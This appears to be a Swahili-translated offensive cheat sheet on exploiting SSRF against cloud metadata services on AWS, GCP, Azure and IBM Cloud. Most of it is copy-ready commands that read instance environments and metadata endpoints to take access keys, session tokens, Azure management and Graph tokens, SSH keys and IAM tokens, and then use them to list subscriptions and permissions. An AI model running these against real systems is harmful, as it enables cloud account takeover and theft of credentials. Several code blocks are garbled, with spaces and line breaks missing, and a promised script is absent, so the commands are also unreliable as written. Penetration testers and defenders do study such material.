The metadata endpoint inaweza kufikiwa kutoka ndani ya mashine yoyote ya EC2 na inatoa taarifa za kuvutia kuhusu hiyo. Inapatikana katika url: http://169.254.169.254 (taarifa kuhusu metadata hapa).
Kuna toleo 2 la metadata endpoint. Toleo la kwanza linaruhusu kufikia endpoint kupitia GET requests (hivyo SSRF yoyote inaweza kuitumia). Kwa toleo la 2, IMDSv2, unahitaji kuomba token kwa kutuma PUT request na HTTP header na kisha tumia token hiyo kufikia metadata kwa HTTP header nyingine (hivyo ni ngumu zaidi kuitumia na SSRF).
Kumbuka kwamba ikiwa EC2 instance inatekeleza IMDSv2, kulingana na nyaraka, jibu la PUT request litakuwa na hop limit ya 1, na kufanya iwe haiwezekani kufikia metadata ya EC2 kutoka kwenye kontena ndani ya EC2 instance.
Zaidi ya hayo, IMDSv2 pia itazuia maombi ya kupata token ambayo yanajumuisha X-Forwarded-For header. Hii ni ili kuzuia proxies za nyuma zilizopangwa vibaya zisifike.
Unaweza kupata taarifa kuhusu metadata endpoints katika nyaraka. Katika script ifuatayo taarifa za kuvutia zinapatikana kutoka kwake:
Notice the aws_session_token, hii ni muhimu kwa ajili ya profaili kufanya kazi.
PACU inaweza kutumika na akiba zilizogunduliwa ili kujua haki zako na kujaribu kupandisha haki
SSRF katika AWS ECS (Huduma ya Kontena) akiba
ECS, ni kundi la kimantiki la EC2 instances ambapo unaweza kuendesha programu bila ya kuhitaji kupanua miundombinu yako ya usimamizi wa kundi kwa sababu ECS inasimamia hiyo kwa ajili yako. Ikiwa utaweza kuathiri huduma inayotembea katika ECS, nukta za metadata zinabadilika.
Ikiwa utaweza kufikia http://169.254.170.2/v2/credentials/<GUID> utaweza kupata akiba ya mashine ya ECS. Lakini kwanza unahitaji kupata <GUID>. Ili kupata <GUID> unahitaji kusoma variable ya environAWS_CONTAINER_CREDENTIALS_RELATIVE_URI ndani ya mashine.
Unaweza kuwa na uwezo wa kuisoma kwa kutumia Path Traversal hadi file:///proc/self/environ
Anwani ya http iliyotajwa inapaswa kukupa AccessKey, SecretKey na token.
Kumbuka kwamba katika mambo fulani utaweza kufikia EC2 metadata instance kutoka kwenye kontena (angalia mipaka ya TTL ya IMDSv2 iliyotajwa hapo awali). Katika hali hizi kutoka kwenye kontena unaweza kufikia jukumu la IAM la kontena na jukumu la IAM la EC2.
SSRF kwa AWS Lambda
Katika kesi hii akili zinahifadhiwa katika mabadiliko ya mazingira. Hivyo, ili kuzipata unahitaji kufikia kitu kama file:///proc/self/environ.
Jina la mabadiliko ya mazingira ya kuvutia ni:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Zaidi ya hayo, pamoja na akili za IAM, kazi za Lambda pia zina data ya tukio ambayo inapitishwa kwa kazi wakati inapoanzishwa. Data hii inapatikana kwa kazi kupitia interface ya runtime na inaweza kuwa na habarinyeti (kama ndani ya stageVariables). Tofauti na akili za IAM, data hii inapatikana kupitia SSRF ya kawaida kwenye http://localhost:9001/2018-06-01/runtime/invocation/next.
Kumbuka kwamba akili za lambda ziko ndani ya mabadiliko ya mazingira. Hivyo ikiwa stack trace ya msimbo wa lambda inachapisha mabadiliko ya mazingira, inawezekana kuzipeleka nje kwa kuchochea kosa katika programu.
Ili kutumia tokeni ya akaunti ya huduma iliyovuja unaweza tu kufanya:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
Azure App Service
Kutoka kwenye env unaweza kupata thamani za IDENTITY_HEADERnaIDENTITY_ENDPOINT. Ambazo unaweza kutumia kukusanya token ili kuzungumza na seva ya metadata.
Wakati mwingi, unataka token kwa moja ya rasilimali hizi:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Kumbuka kwamba katika IBM kwa default metadata haijawashwa, hivyo inawezekana usiweze kuipata hata kama uko ndani ya VM ya IBM cloud
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Dokumentasiyo ya huduma za metadata za majukwaa mbalimbali imeelezwa hapa chini, ikionyesha mbinu ambazo kupitia hizo taarifa za usanidi na wakati wa kutekeleza kwa mifano zinaweza kupatikana. Kila jukwaa linatoa maeneo ya kipekee ya kufikia huduma zake za metadata.
